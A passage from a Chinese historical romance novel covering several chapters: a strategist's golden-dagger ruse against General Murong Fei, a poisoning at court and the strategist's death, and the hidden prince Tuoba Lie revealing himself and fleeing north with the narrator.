墙上的地图被先生画得七零八落,我从书卷后面露出两只眼睛,看他还在孜孜不倦地勾画着。慕容斐隔日就要出发,前去与大军会合,先生派夏生去将军府送帖,想请他过草堂一叙。南北大战之前,慕容斐曾来找过先生几次,但先生一直闭门谢客,这么多日子以来,倒是头一次看到他主动要见什么人。
夏生出门未久,就回来束高阁报话:“大人,慕容将军来了。”先生又看了墙上的地图一眼,应了一声,起身往屋外去。
“元公子也来了。”夏生见我也在屋里,小声补了一句。
他能下床了?我心头一喜,放下卷册,尾随着先生往前厅去。
厅堂客座,坐了一个四十开外的魁伟男子,蚕眉凤眼,银甲虬髯,气吞如虎,此人就是慕容斐。一侧的元烈,难得见他一袭白色的宽袍,大病初愈,消瘦了不少,没了素日里咄咄逼人的气势,倒更像是个俊美儒雅的读书人。
两人见先生前来,起身抱拳,先生招呼他们再次落座,先和慕容斐寒暄了几句,又问元烈:“阿烈,你的病好些了?”
“好多了,只需再吃几贴药,多谢先生关心!卧床太久,是该起来走动走动,舒展舒展筋骨。”他从墨童手里接过一个竹编的小筐,“今日有个朋友上门探病,送来一筐鲜枣,可惜我在吃药,有几味药恰恰与枣子相克。想起先生爱食枣,特地送来给先生尝尝。”
先生颔首致谢,夏生从元烈手里接过竹筐,拿到厨房去洗。慕容将军笑道:“倒是我有口福,来得巧了。”
先生笑应道:“是啊,慕容将军爱食枣……苻将军也爱。”一提及苻又臣,语气里又多了些许无奈,“说起来我们三人共事多年,真的有很多相像的地方呢。”
慕容将军知他伤心,叹道:“你我有今日,同为苻将军举荐,原以为三人同心协力,可以共效朝廷……唉,若早听先生的话,也不会……”他摆了摆手,不忍多谈,“先生邀我前来,可是有要紧的事?”
先生摇头苦笑:“我现在哪里还有要紧的事,将军也知道我今时今日的处境。唐虞世远,吾将何归?!”先生重重叹了一气,“不瞒将军,我已经打算辞官归隐了。富贵畏人,不如贫贱肆志,当了这么多年的官,很多事也看得开了,还是找一处名山秀水,还我初服,了我余生吧……将军此番出征,只怕班师之时,你我已无缘再见,故邀将军前来,是想向将军道别的。”
慕容斐敛了敛眉头,跟着长叹:“先生真的放得下,这倒不像先生了。日后再不能与苻将军并肩作战,不能与叶先生同朝言事,真是憾事!”<
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先生苦笑了一下,已含泪于睫,他轻抚着桌案上的一柄紫砂茶壶:“苻将军出征之前,只在我这里讨了杯茶吃……你我三人交情甚笃,慕容将军,叶某想讨要将军一样随身之物,日后,也好睹物思人。”
慕容斐闻言,立即摘下腰间佩戴的匕首,双手奉上,诚恳道:“此金刀已陪伴老夫多年,便送与先生了。”
“多谢将军!”先生郑重接过金刀,用袖子擦拭着刀身。夏生端上一盘水灵灵的鲜枣,并一壶好茶。“我知道慕容将军好酒,但征战在外时向来滴酒不沾,喝酒误事,老夫不能坏了将军的规矩,也只有用茶水招待了。”
夏生倒了四盏茶,送到我们面前。元烈举起青瓷杯,悠然啜饮,几口热茶下肚,脸色也红润了许多。先生和慕容将军就着茶吃枣,以茶代酒,又论列了一番天下英雄。
说到青兕,慕容斐大有不解:“青兕先生避世多年,都以为这人快要得道成仙了,怎么突然又管起红尘俗事?先前帮着王牧投靠李成,现在又帮着南朝攻打北军,若说他想为谁出仕也就罢了,可这……分明就是唯恐天下不乱嘛!”
先生哼笑一声:“他自然有他的道理,可惜我与他道不同,终究难以为谋。”
元烈始终不发一言,只是不停地晃动着手里的杯盏,好像里面藏了什么稀世的宝贝。
“狸奴也来吃枣。”先生好像才发现角落里的我,笑着招呼道,他知道我也爱吃枣。我欢喜应了一声,起身过去,慕容将军将果盘推到我面前,拣了颗最大的给我。也许是错觉,元烈突然停止晃杯的动作,手背上隐隐泛出青筋。
我吐出枣核,还想再吃,只听元烈掩嘴咳了几声,引得大家投去关切的眼神。他摆了摆手表示不碍事,又道:“叶先生,慕容将军,我还是先回去了。狸奴,倒是忘了,今儿新得了南朝二王的墨宝,我不识真伪,想叫你鉴定鉴定。”
“嗯。”我立刻放下手里的枣子,起身向二人告辞,迫不及待地随元烈出了厅堂。
转角花廊下,元烈突然停步,转身朝我低吼:“吐出来!”
什么?我不明所以,盯着他看。
“枣!”他半蹲下来,一把把我摁倒在他的膝盖上,猛拍我的背。好疼!我猛咳了几声,根本吐不出来。元烈凶相毕露,捏住我的下巴,强迫我张嘴,又探了两根手指进去,捣我的喉咙,动作之粗鲁,丝毫没有怜香惜玉的意思。
我一阵恶心,连着今天的早饭一块儿吐了出来,秽物溅到他雪白的袍子上,他也毫不在意。直到吐得只剩下酸水,他才松开手,把我扶起来。
我用袖子胡乱抹了抹嘴,返身就往厅堂跑,却被他伸手逮了回来。“你要去哪里?”头顶响起他冰冷的声音。
我拳打脚踢,挣扎未果,被他死死圈禁在怀里。“你下毒,你卑鄙!”我呲牙咧嘴,朝他低叫。
“下毒,你看不上这种下三烂的手段是不是?我之前也很不屑,不过,只要你吃过一次亏,同样也会知道它的好处。”他俯下身子,声音柔滑的像蛇,让人不寒而栗。
“你到底想干什么?!先生已经打算归隐了!”
元烈的脸色惨白,好像旧病复发的征兆。他腾出一只手,覆上我的眼睛:“狸奴,别用这种眼神看我,不要揣测我!我没有要害你家先生,他也没有打算要归隐!你要是相信我,就别再动了!”
我安静下来,以眼神作为质问。他却再次蒙上我的眼睛,他的手掌很粗糙,和刘翀一样,掌心布满了薄薄的茧子,这些绝对不是握笔和执扇可以做到的。他再次俯身警告我,声音轻柔而寒凉:“狸奴,我说过了,不要揣测我!……刘翀对你来说,何尝不是个体己的男人,真要让我怀疑你选择我,到底是因为喜欢,还是因为好奇?……下毒是下三烂的手段,可白石先生的计策又高尚得到哪里去?纵横捭阖,皆为诡术;兵家之争,皆行诡道,有什么正邪之分?……慕容斐不是池中物,他才是燕国名正言顺的皇位继承人,他复国不成,就是因为手里没有兵权。如今可以带着十万大军堂而皇之地攻打慕容直,你以为他得胜之后,还会还朝?”
31. 第三十章 金刀反间计
松阴竹影处,看见先生送慕容将军出门,元烈俯身在我耳边说了句:“放心吧,不会害到你家先生。”见我将信将疑不再挣扎,他才松手。
先生回来以后就直奔束高阁,我远远跟了过去,走到窗台下才发现里面已经有人。只听先生道:“你速将此金刀送于慕容逸,以此为凭,就说是慕容将军的意思,皇上已经怀疑将军有不臣之心,务必让他今夜三更时分,带着全家老小出城逃往边境,回到燕国之后,再行打算……事成之后,少不了你的好处,如果败露,你也逃不了干系!”
那人连连称是,得了金刀,推门出来,见我就站在门外,挡住了他的去路,他先是一惊,又回头去讨先生示下。先生摆了摆手,示意他无事,他斜睐我一眼,小心地将慕容斐的金刀藏于怀中,躬身遁去。
我回头看着那人消失在廊庑尽头,才提着裙子进屋,先生并不和我解释,只是对着地图专心勾画。
“先生,你有没有觉得哪里不舒服?嗯……要不要找大夫看看?”犹豫之下,我支吾开口。
先生停下手里的朱砂笔,挑眉看我,“怎么,狸奴也觉得我要看大夫了?”我慌忙摇头,他一定是误会了我的意思,以为是夏生撺掇我来的。“那你要问什么?我和慕容斐金兰之契,为什么要害他?”
我点点头,复又摇摇头,事到如今,我也不知道要问什么,又从何问起了。
“元烈在枣里放了什么?”他不看我,神情笃定地问道。
“先生知道?”我瞠目看他,如实答道,“我也不知道他放了什么,但他说不会害到先生……可先生既然知道,为什么……”
“我若早知道,也不会让你去吃。是他把你骗出门,我才意识到的。他既然这么说,我也知道他放了什么,可惜我不能如他的愿,慕容斐如果活着回去,就是放虎归山,日后必成大患。”
我听得益发糊涂,先生用金刀之计,确实是想扳倒慕容斐。可元烈下毒,难道是为了救他?
先生看出我的疑惑,指着墙上的地图道:“狸奴,你觉得这样的天下如何?”朱砂红笔勾勒之处,触目惊心,当年晋武帝麾下的江山已经四分五裂。北面有柔然,代国,西面有成国,东面的燕国版图扩张,南面有晋国,还有刘圭治下的北方土地,也被分成了东西两块。惠帝时期,贾后当朝,乱相丛生,各地军阀混战,只要稍有些能力的,就能扯上杆大旗,封王自立。刘圭当年纵马疆场,先生帷幄筹策,好不容易平定了北方,才有现如今的鼎立之势,三国互为牵制,勉强维系了华夏大地十几年的和平。墙上的这张地图原先并无国界,天下一统,一直是先生之志,可如今却被他画得支离破碎。七雄并起,难道又要回到始皇帝吞并六国前的战乱时代?
他并不等我回答,兀自道:“刘汉有今日之盛,是我十几年的心血,我穷尽半生之力,才有现在这样三分天下的局面。本以为可以辅佐北帝,完成统一大业,却……哎……苏秦使六国合纵,以抗强秦,却偏偏出了个张仪,最后还是让强秦连横六国,进而一一吞并。狸奴,你道,合纵连横,哪样更高明?……哼,我明知山外青山,这世上另有高人,可是,你教我又怎么甘心就这样放弃呢?”
我摇摇头,看着墙上的地图道:“先生,捭阖之术,哪样更高明,狸奴不懂。我只知道,天下事,治久必乱,乱久必治;合久必分,分久必合。天下一统才是大势所趋,凡识时务者,都应该顺势而为。如果那高人要得是天下大乱,那必定不是真正的高人,但如果这只是他的连横之术,那么先生,您天下归心的志向既然后继有人,只要是殊途同归,又何必执着于他和您走的不是同一条路呢?”我越说越激动,只担心他固执己见,到最后,会去选择苻又臣的路。
先生垂下眼睑,疲惫笑道:“狸奴,你在我这里呆了多久了?……一年还不足吧。我是教了你多少啊?这就是为人长者的矛盾,我不愿意你懂这些,只想让你无忧无虑的过日子,可是我能在你身边的日子毕竟有限,只怕将来你一个人,又无力应对,故只能强迫你去学这些。你说,术士之言,到底是你的宿命,还是我们这些人硬推你上路的?……狸奴,我怕日后能教你的日子不多了,你且记住,这样的世道里,男人无所谓好坏,只有强弱!”
他看了看天,唤来夏生,更换朝服,入宫面圣去了。
我看着他远去的背影,知道自己再无法挽留住他。先生忠于刘汉多些,还是忠于自己的信念多些?我不知道。但这样的世道里似乎并不需要忠臣,商之比干,蜀之孔明,到最后都是没有结果的。先生教我不必执着于男人的好坏,孝子不生慈父之家,忠臣不生圣君之下,可是他自己却想不开。
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非我族类,其心必异。
先生一进宫,就到北帝跟前告发慕容斐打算叛逃燕国。当天夜里,北帝派出一支禁卫军,在城外搜捕慕容逸。慕容逸以为事情败露,奋起抵抗,可马车队里多是女眷幼儿,只有少数几个壮丁。慕容逸被禁卫军当场杀死,他的几个幼儿也无一幸免。可以对质的人全都死于非命,徒留下一柄金刀,摆在太极殿的龙案之上,作为陈堂证供。
先生是料准了慕容斐百口莫辩,事情到了这一步,就算北帝相信他遭人诬陷,也必定会杀他,以绝后患。慕容斐只剩下这么一个儿子,灭门之恨,他日后又怎会不报?
没想到慕容斐得信之后匆忙进宫,拉着北帝的龙袍失声痛哭,非但不指责先生栽赃嫁祸,还说,亏得先生发现慕容逸有投敌之心,北帝杀其子理所应当,是成全了他的忠孝之名。
大战之前的一场闹剧就这样不了了之,强敌当前,刘圭若是先斩大将,势必于军不利。慕容斐到底也是老谋深算的人物,能在先生的金刀计下保全性命。到最后,北帝还是派出了刘翀为监军。名为监军,实则监视慕容斐。
在那之后,先生的处境也益发困难了,刘圭到底不是昏聩之人,等他缓过劲来,究竟发生了什么事,他也能猜出几分。
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虎牙将军慕容斐,龙骧将军刘翀,带着百余精骑前去与大军会合。北帝亲自将二人送出宫门,浩浩汤汤的一队人马从长安大街上一路出城。街道两旁有不少前来送行的百姓,有些人的
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亲属就在这百余人中,更多的人,他们的丈夫和儿子还滞留在那即将再征的十万大军里。
出发前夜,刘翀来草堂来我,他希望我也能去送行。他说,以前出征,所穿的战袍都是拓拔王妃亲手缝制的。攻城野战的辛苦不足为外人道,他不怕吃苦,但置身大漠穷秋,看尽孤城落日,又何尝不希望有个母亲以外女人会在家乡惦记他。即使那个女人,只是妹妹。
出发那天,天气不算好。我由夏生陪伴着,站在送行的人群里。云杪停在我面前,有节奏地跺着两只前蹄,鼻孔里喷着热气。那是一匹大宛国进贡的枣红色汗血马,我第一次靠近这样的庞然大物,直吓得退了几步。
“马是吃素的,不咬人。”头顶响起刘翀调侃的声音,我抬首仰视,只见他手持辔头,气宇轩昂地端坐在马背上,一身错落金锁甲,腰悬五尺雷音剑,掩去了不少天生的稚气,更显得英姿勃发。
云杪跟随他出生入死多年,已经见惯了沙场交兵,白骨缠草,却还始终保持着一双清冽可鉴的眼睛。马头上斜插着一枝秋海棠,它的主人太受长安城少女的拥戴,累得它常常要挨瓜果砸,还要作此不伦不类的扮相。我回报刘翀一笑,上前摸了摸云杪,表示我并不害怕。
刘翀不料我有此动作,先是一惊,慌忙去收缰绳。但见云杪泰然不动,才轻吁了一口气:“哈,真是重色轻友的家伙!”他笑,“敏敏,你不知道我这马脾气有多臭,倒是第一次见它肯让生人触碰。这马尤其对大哥,根本不让他近身,每回见到他,又是跳又是叫,一副要拼命的样子。呵呵,大哥对谁都有办法,唯独对我这马没辙。”
元烈也有没辙的时候,我抿嘴笑了起来。刘翀翻身下马,顺手掳掉了马头上的相思花,站定在我面前。他抬手搓了搓我的额头,弄乱了我额前的头发,也跟着傻笑起来。
我从腰带里取出一个鹅黄色的纸包递到他面前,他诧异看我,我故作轻松地笑道:“平安符,今天大早去庙里求的。我手笨,做不来女红,就算做得好,也不比慈母手中线。我在菩萨跟前许了愿,以后初一、十五都如素。二哥,狸奴祝你旗开得胜,你要平平安安的回来!”
刘翀默不作声地接过平安符,捏在手心里,抿了下嘴角,却不见笑意。
我佯装开朗,又塞了个绸布袋子在他手里,大声道:“还有这个,是大哥给你的平安符!”
刘翀放在手心里掂了掂,跟着开怀笑道:“平安符?你道他和菩萨许了什么,怎么求得比你大这许多?”
“大哥说,到了兖州再拆,保你平安!”我如实转述。
刘翀将两样东西收好,不远处,慕容将军已整队等他出发。飓风马上银甲人,身背雌雄二刀,气势不减当年,但一夜之间,已经两鬓华发。我不敢去看他,如今他孑然一身,连个送行的亲人都没有。
刘翀再次揉了揉我的额面,把我的头发弄乱,又替我顺好。“敏敏,我要出发了!你先回去吧,上了马,我就不会回头了。”
虎啸生风,龙起生云。街道上刮起了大风,将“虎牙”和“龙骧”两面大旗吹得猎猎作响。黑云压境,从不远处汹涌而来,眼看就要下雨了。整肃的马队从我面前蜿蜒而过,我一直目送着最后一个士兵消失在我的视线里,他果然没有再回头。
32. 第三十一章 土者万物元
龙虎二将出征以后,捷报频传,每天都有信使手持二皇子的金鈚箭从长安大衢绕行至西市,再一路飞奔入长乐门。北军势如破竹,初冬时节,就将燕军赶出了边境。二将乘胜追击,打算直捣黄龙,一举平定燕国,以绝后患。南北大战以后,北朝元气大伤,确实需要一场像样的胜利来振奋举国的士气。
这年冬至,街头巷尾摆满了祭奠的香案,麦饭斗酒,香烛只鸡。狼烟未尽,战场又添新魂,因为无坟茔可扫,只能在家门口凭吊远方的亲人。雪片般飞来的战报,都化成了半空中飞飞扬扬的纸钱。
夏生见我坐在门槛上烧纸,跑来帮忙,他好像从来也没有问过我的过去,我也没有问过他的。国破家何在,谁都有段浮沉身世,自己都伤心不过来了,还哪堪多问,听得多了,心肠也会冷。
傍晚时分,我还在前厅吃饭,忽闻草堂门外嘈杂。夏生连奔带跑地冲进屋子,嚷道:“大人,不好了,走水了,好像是皇宫里……”
先生眉头一拢,放下碗筷,和他奔了出去。我也跟着跑到街上,大街上已经挤满了交头接耳、指指点点的人群。皇宫的方向浓烟弥漫,霞光冲天,火势必定不小。
“是西宫?夏生,给我备车!狸奴,我去看看,你别乱跑。”先生简单交代了几句,转身回屋里取来官服,便往皇宫去了。
西宫?那可是拓拔王妃的处所,元烈知道吗?我匆忙跑到隔壁元府,大门虚掩着,我抡着拳头砸了几下,无人应门。推门径直往里去,花前廊下,空无一人。元烈的寝房里陈设未动,案上倒扣着一本书,茶水尚温,只是少了床头一柄狼首剑。
他也赶去了?究竟出了什么事?我心怀忐忑,但也无计可施,只能返回草堂里继续等消息。
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戌时三刻,先生一个人疲惫不堪地返回草堂,他的脸色苍白,发髻散乱,官服也被撕扯开了。夏生忙上前搀扶,又端来热水和更换的衣物。洗梳过后,先生的面色还是如死灰一般。他打从进门起就这样一言不发,我上前关心道:“先生,您不要紧吧?宫里出了什么事?”
他终于开口,沉声道:“夏生,去帐房里取银子,把家里的佣人都遣散了。你跟了我许久,我死后,这宅子和家产都留给你,日后阿代嬷嬷就烦你照顾了。”
“先生!”“大人!”我和夏生不料他会说出这样的话,焦急唤道。
他朝夏生摆了摆手:“去吧!”又疲惫不堪地对我道,“狸奴,你随我来。”
我将他搀扶进束高阁,他盘腿坐在平日里常坐的位置上,墙上一幅大好江山,已经满目疮痍。他看了看地图,重叹一声:“狸奴,先生命不久矣,日后的路,你要自己走……”他将手掌覆在我的脸颊上轻轻摩娑着,他从来没有这样触碰过我,除了母亲,我甚至没有得到过父亲这样的关爱。
“狸奴,先生能留给你的不是家财,那些东西于你的将来并没有用处。你有绝世的美貌,但在这样的世道里,美貌并非老天爷给你的恩赏。自古妖姬祸国,红颜薄命,你又想做哪一种呢?”我摇了摇头,这两样都不是我的选择。
“你的母亲希望你能远离庙堂,我又何尝想让你卷入纷争,可是老天爷给你的,必不能让你游离于现世之外!先生无子,就当你是我的孩子,尽管你是女儿家,一样可以完成先生之志,所以,你必须走出一条截然不同的路来……也许,你和我走的并非同一条路,但如你所说,只要殊途同归,又何必执着于我和你走的不是同一条路呢……狸奴,记得先生的话,你要选择最强的男人,他可以透过外表而爱上的心,同样,也只有最强的男人才有足够的能力保护你,不让你因美貌而沦为战争和政治的工具……狸奴,术士谶言,将是你之宿命!”
先生一气说完,轻喘起来,忽地一阵猛咳,他用袖子遮住了嘴。我看见他深色的袍袖上沾染了一大块水渍,辨不清颜色,但,恐怕是血!我惊惶失措,大叫起来:“先生,您怎么了?我去喊大夫!”
他伸手拽住我的衣袖:“狸奴,不要去。先生累了,想闭会儿眼睛,我现在还不会死,我要等一个人。你坐到书架后面去,陪着先生……”他的气若游丝,刚才那番慷慨陈词,好像已经抽去了他所有的力气。
他无力地摆了摆手,我擦去脸上的泪痕,顺从地爬到书架后面。抽开面前的几本书,昏黄的灯光透射过来,屋子外面跟着嘈杂起来,是即将被遣散的仆从纷纷出府,另谋生路。先生充耳不闻,只是盘腿闭目,如老僧禅定一般……
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不知道过了多久,外面的声音渐渐熄灭,只有屋外漏声迢迢,案上玉炉空燃寂寞香,寒夜变得更加深沉而寥落。这是我最最害怕的事情,是非成败转头空,卧龙跃马终黄土,过去种种,都是南柯黄粱梦。醒了又睡,睡了又醒……
三更鼓角响,一夜青灯照壁,旋落无数碎花。束高阁的大门终于被人推开,我从架子上抬起头,已经不会再惊讶,先生所等是何人。
元烈一身玄色胡服,腰间佩剑,不如平日里的精致肃整,发髻也有些松散。但病容消退,碧眸亮如星辉,在夜色的掩映下,如同一只蓄势待发的猛兽。
他嘹亮的声音在书房里回荡:“叶先生,慕容斐领几百轻骑躲开了刘翀的监视离开兖州,从秘道进入燕都中山,直捣皇宫。慕容直已死,他已顺理成章地继任皇位,再不会回来了。刘翀十万部队连番大战,死伤不少,已疲于再战,如今他正在回京的路上,叶先生是在等他回来吗?……刘鹏弑父篡位,朝中大臣敢怒而不敢言,他又怎么会放这个重望所归的弟弟回来呢?刘汉亡矣!叶先生还有什么可以留恋的,不如另择明主吧!”
先生缓缓睁开眼睛:“阿烈,慕容斐在朝堂所言,可是你教的?”
“慕容将军是聪明人,我不过从旁提点了几句。元烈佩服先生的金刀之计,古今反间,盖莫能出右者了!”
“还不是叫你给破了,倒不如你那几颗枣来得远见!”先生哼笑了一声,缓缓说道:“阿烈,记得若干年前,你还是个十几岁的少年,到我门上来学棋。那时候你已经有些弈棋的底子了,看你布局,就知你是个远虑之人。不管开局之时我吃了你多少个子,你都不为所动,已经很少有年轻人下棋,能这么沉得住气,不计较一时之得失了。果然,只下了三年,我和你对弈,就已经力不从心。你布局之时,总是不动声色,等到对方发现形势不妙,早就已经没有回圜的余地了。
你在我门下学艺,我道你日后必是可造之材,一直想引你出仕。可是你好像一直淡泊于富贵名利,只对下棋看书、游山玩水、结交名士感兴趣。人各有志,我不能强求,虽然可惜了你毕生所学,但我想,只要能把你留在北朝,不为对手所用,就是好事。我一直以为只要你人在光德坊,就逃不出我的局,未料,我自以为是局外人,却早就成了你的囊中物。”先生抬手指了指墙上的地图,“如今七雄并出,你的这局棋也该布完了吧?”
元烈看了看墙上的地图,如今天下再度分封,真的就要成了先生所勾画的模样。他一手按剑,一手提起案上的朱砂笔,将被先生分割成东西两块的北朝改成了南北方向,又在北方统万城上点了一个红点。
先生眯着眼睛,思忖了片刻,笑道:“是啊,统万城,北帝龙兴之地,这才是二皇子最好的去处……北朝亡矣!北朝亡矣!”
先生长叹:“刘汉难辅,北帝二子都没有帝王相。我曾经也不是没有动过自立的念头,可惜我没有可以自立的根基,也没有可以传承的子嗣,便是有朝一日真能登上大宝,也是无根之木,无源之水。或许等不到我百年之后,就会再生乱相……
那么你呢,阿烈,你又找到天命所归者了吗?我始终想不透,既然我们怀有共同的目的,你又为什么非要破坏这好不容易才建立起来的鼎立之势呢?七国之中,孰才是你心目中的强秦?你来,又是要我为何人出仕呢?”
也许因为佩了剑,今晚的元烈浑身都散发着肃杀之气,连声音里都有透骨的寒气:“北人谓土为拓,后为拔。
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夫土者,黄中之色,万物之‘元’。叶先生,‘元’非我的本姓,我的本姓是——拓拔!”
“原来如此!”先生仰天而笑,喉咙里却发不出声响,“拓拔烈,代国四皇子!……今年开春,代国太子拓拔浩莫名猝死宫中,死时七窍流血,其状凄惨。传闻他是听信术士之言,误吃了长生不老的药丸。拓拔浩汉化很深,喜欢黄老之学,是性情温雅之人,但是决不糊涂。明眼人一看就知道,那是遭人下毒。如今你可是代国唯一的嫡皇子,名正言顺的皇位继承人了!”
元烈的拇指摩擦着剑柄的狼首,眯起眼睛淡然道:“太子并非是我害死,我那时正在剑阁,闻讯时,已经鞭长莫及了。”
“当然不是你!你要想不声不响地杀死一个人,绝对有更高明的法子,不会搞得这样血肉横飞,更不会让别人心生疑窦。若我猜得没错,该是皇长子拓拔宇吧?”
“先生所言不错,我父皇卧病在床,恐已不久人世。他想要皇位,连我也在追杀……不过是跳梁小丑,我还不会放他在眼里……代国国小,北有柔然,南有刘汉,两面夹击之下,举步维艰。北朝实力太盛,只有将其分裂,才能进而吞并。叶先生,拓拔烈继位之后,愿拜先生为相,请先生为我出仕!”
元烈单膝跪地,先生向前倾了一下,一把扶住他的臂膀。天气寒冷,我却看见他背后的衣服,全都汗湿了。他再次大笑,那笑声逐渐干涸,仿佛用尽了他身体里最后聚集的力量:“殿下,你其实并不需要我,你请我出仕,不就和我当年想让你出仕,是一个道理吗?白石青兕,得一人者得天下;白石青兕,这天下也只能容许一个人存在!
我是不是应该称呼你的另一个名字呢:青兕先生!”
我为这个名字所震慑。先生忽然猛咳起来,血从嘴里喷涌而出,流得满脖子里都是,然后又渗进靛青色的袍子里,化为了乌有。元烈赶紧去扣他的脉搏,我被这触目惊心的景象吓得六神出窍,惊叫着从书架后面爬出来。
先生跌倒在元烈怀里,断断续续道:“皇后根本不是自杀,是刘鹏为了皇位逼她服毒……这厮才当了几天太子,就等不及了!朝中四将一相都不在,正是他的机会……竟然串通宫女给皇上下毒……老子才闭上眼,就去调戏庶母……拓拔王妃不堪其辱,一把匕首扎在胸口上,又点了一把火,烧了西宫……刘鹏诬陷王妃毒害陛下,二皇子放走慕容斐,倒戈谋反……他已派了兵去讨伐,如今二皇子也是有家难回……我今日入得宫去,他又怎么会放过我,他逼我所服的,正是皇后当日所服之毒……”先生面容扭曲,眼睛突起,血顺着嘴角还在汨汨不断地往外流,他死死抓着元烈的袖子,“殿下放心,白石一死,这世上就只有青兕了……只是,朝堂是非地,后宫一样凶险,你又要如何安置我的狸奴呢?”
元烈握着他的手,在他耳边重重许下承诺:“先生放心,狸奴已手持金人,我会带她回云中,娶她为妃。他日,就是代国皇后!”
元烈的话恍恍惚惚在我耳边飘过,我被先生满脸的鲜血吓得不知所措,他合上眼睛,艰难地向我伸手:“狸奴,先生不能看你出嫁,但我一直为你备着嫁妆呢……书房正中……艮六位的架子上……去把它拿来……快去……”
我跌跌撞撞找到那只书架,将架子上的书全都掳在地上,里面放着一只盘龙锦盒,先生要给我的是——传国玉玺?
我顾不得惊讶,抱着盒子往回跑。元烈一手托着他的头,一手扣着他的脉搏。我的声音里满是绝望:“快救救他,你能救先生,是不是?”
先生再也说不出话来,身体不停地抽搐着,他用哀求的眼神看着我,嘴唇一张一翕,每一次开合,都有深红色的血浆在往外涌。我好像明白他要对我说什么,但我半张着嘴,一个字也说不出来……
“狸奴,你其实一直都知道。现在不说,将来一定后悔一辈子!”元烈低声提醒道。
我的泪如雨下,俯身到先生的耳边,这是我第一次喊他,也将是最后一次:“爹爹……”看着他的眼睑慢慢垂下,死亡的气息在束高阁里弥漫开来,我无力地颓坐在地上,再也流不出眼泪了……
惘惘如夜半梦醒,今夕是何夕?
33. 第三十二章 与君塞上行
这已经是他第二次带我在深夜里逃亡。元府里有秘道,可以直通西宫,西宫里也有秘道,可以直通长安城外。
曾经的崔巍楼阙,全都已经付之一炬,只剩下残垣断瓦,可怜焦土。漆黑的甬道里,惟有墨童手里有一点微弱的烛火在指引方向,脑海里再次浮现出拓拔王妃明媚的笑颜,我不由得去摸了摸怀里的金人……拓拔烈的手很冷,抓得我有点疼,好像害怕我会跟不上他的步伐。借着那点萤火之光,我看见他斜飞入鬓的眉,和氤蕴着浓重水气的眼睛,宛如记忆深处,江南水墨里的脉脉远山,一池秋雨。
夜出汉家城,朝来塞上行。拂晓时分,马车前悬挂的一盏寒灯被熄灭。我们已经逃出了长安,要去往离江南更远的云中。
墨童在外驾车,四围布满了挟弓擎箭的影卫,元府里看门的老奴一反常日枯木朽株之态,胯刀跃马,开道在前。
拓拔烈蜷缩在车厢的一角,闭目养神,安静得就像一只受了伤的野兽。那是充满了戒备的动作,好像随时都要跃身再战。他几乎一个晚上都保持着这个姿势,甚至感觉不到他呼吸时候的起伏。
我再一次爬了过去,把手放在他的鼻尖低下,感觉他微弱的气息。我一夜都没有入睡,几乎每隔一段时间就要去探一次他的鼻息,直到确定他还活着,我没有被再一次抛下。
他呼吸的节奏轻而缓,是还在熟睡吧。我安静地退回自己的位置,拿出怀里的小金人,漠然地与它对视……
“我是不是答应过要告诉你的?”他忽然开口,声音很轻,又有些哑。我没有回答他,他也没有睁眼,只是音调平板地叙述着,淡淡的,像是一个心不甘情不愿的小孩子在背一本已经读得烂熟的书。
“我是父皇的第四个儿子,母亲是代国皇后,她有两个孩子,三皇子拓拔浩,还有就是我。母后生我的时候是难产,当时的情况很危险,她以为自己活不下去了,就恳请我的父皇立她的大儿子,也就是拓拔浩为太子。嫡长子继位,原本也是天经地义的事情,父皇当即就下了诏书……母后生下我之后,身体就慢慢地康复了……
可是鲜卑有着和匈奴人一样规矩,杀母立子。已经诏告天下的事情是不可能再收回来的,父皇和母后的感情很好,他不会真的去杀她。皇宫很大,娶了我母亲之后,父皇就没有再立妃,后宫里要藏下一两个人根本不是问题。于是,就一直对外宣称,代国的皇后已经死于难产。当年的北方很乱,到处都在打仗,没有人会去理会和追究这件事情。就在当年,我有一个小姑姑病死了,母后就住进了她的宫,顶替了她的名字。
再后来,苻又臣的军队攻破了云中。当时刘圭的军队在北方所向披靡,闻者丧胆,但凡他攻破的城池和国家,皆以灭其统治者全族作为结束。后来他攻破洛阳,晋怀帝面缚舆榇,也没有逃过一死。文人们用笔来挞伐他的凶残无道,但在那样的时局里,这才是最为快速和有效的解决办法。
所有刘圭征服过的地方,只有代国是一个例外。我的父皇投降以后,被册封为代王,继续保有了原来的土地,只需每年向刘汉进贡。他的四个儿子,也都得以保全……这些……都是因为我的母后……
我的母后并非鲜卑人,我的身上有一半汉人的血统。她出身于京兆杜氏,就是和你母亲齐名的‘北杜’……
母后离开以后,父皇开始不理朝政,每天喝酒,后宫里慢慢充斥了各色各样的女人……但是从来没有一个女人得到过册封,或者再怀过他的孩子。我知道他一直忘不掉我的母后,一个男人没有办法保护自己的家国妻子,最后又只能以醇酒美妇自戕……
母后离开的时候,我尚在襁褓,自我记事起,父皇就是那个长醉不醒的样子……他偶尔清醒的时候,其实对我和三哥还不错,但我一直和他不亲……在那个宫里,和我最亲的人就是三哥……
三哥喜欢道术,有菩萨心肠,这样的人并不适合作为一国的储君。可我不会去杀他,如果他做皇帝,我并不介意自己只是青兕先生,我可以为他出仕,然后归老于山林……
年节的时候,我身在剑阁,等我听到噩耗时,已经来不及了。我匆匆忙忙赶回长安,去阻止母后参加那年的皇家宴会,原本每年都是三哥来长安朝贺的……拓拔宇认得出她……
那一天晚上,她哭得很厉害……”
他漂亮的唇上下翕合着,平静地描述着一切,好像这个故事与他并无牵扯。我安静地听着,一直不说话,他也不再说话。很久很久,他都维持着同样一个姿势,也许又睡着了。
拓拔烈几乎是以一人之力游说于列国之间,天下再度分封,七雄并出,作为青兕先生,他的这个局已经臻乎完美。可他到底不是神,也有失算的时候,面对死亡,一样的无能为力。母亲,还有同胞手足,在这场残酷的游戏里,作为唯一的胜利者,同样也付出了惨重的代价。
行进的一路上,突突的车轮马踏声又掩盖了他清浅的呼吸,我不知疲倦地爬过去,把手伸到他的鼻尖底下……
“够了!我还没有死!”他低喝一声,把我拉到他的身上,让我的耳朵贴在他宽厚的胸膛上,他的心还在跳,坚定而有力……
“主人?”墨童在车门外唤道,没有人理他。
渐渐的,我才在这样令人安心的心跳声里睡熟了……
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雪时下时停,马车队沿着黄河北上,人烟渐渐萧瑟,河面上的流凌越来越密集。一路上都不太平,不断有拓拔宇派来的小队刺客,但与那些影卫交手过后,都成了乌合之众。几次看似已经命悬一线,最后也都有惊无险。拓拔烈生在草原上,换下汉人的宽袖长袍,跃马弯弓仿佛是他与生俱来的本领。不同于常人的是,拓拔烈的剑佩在右侧,我一直都忽略了,原来他也是左利,难怪素日里见他写字,字迹都很平常。
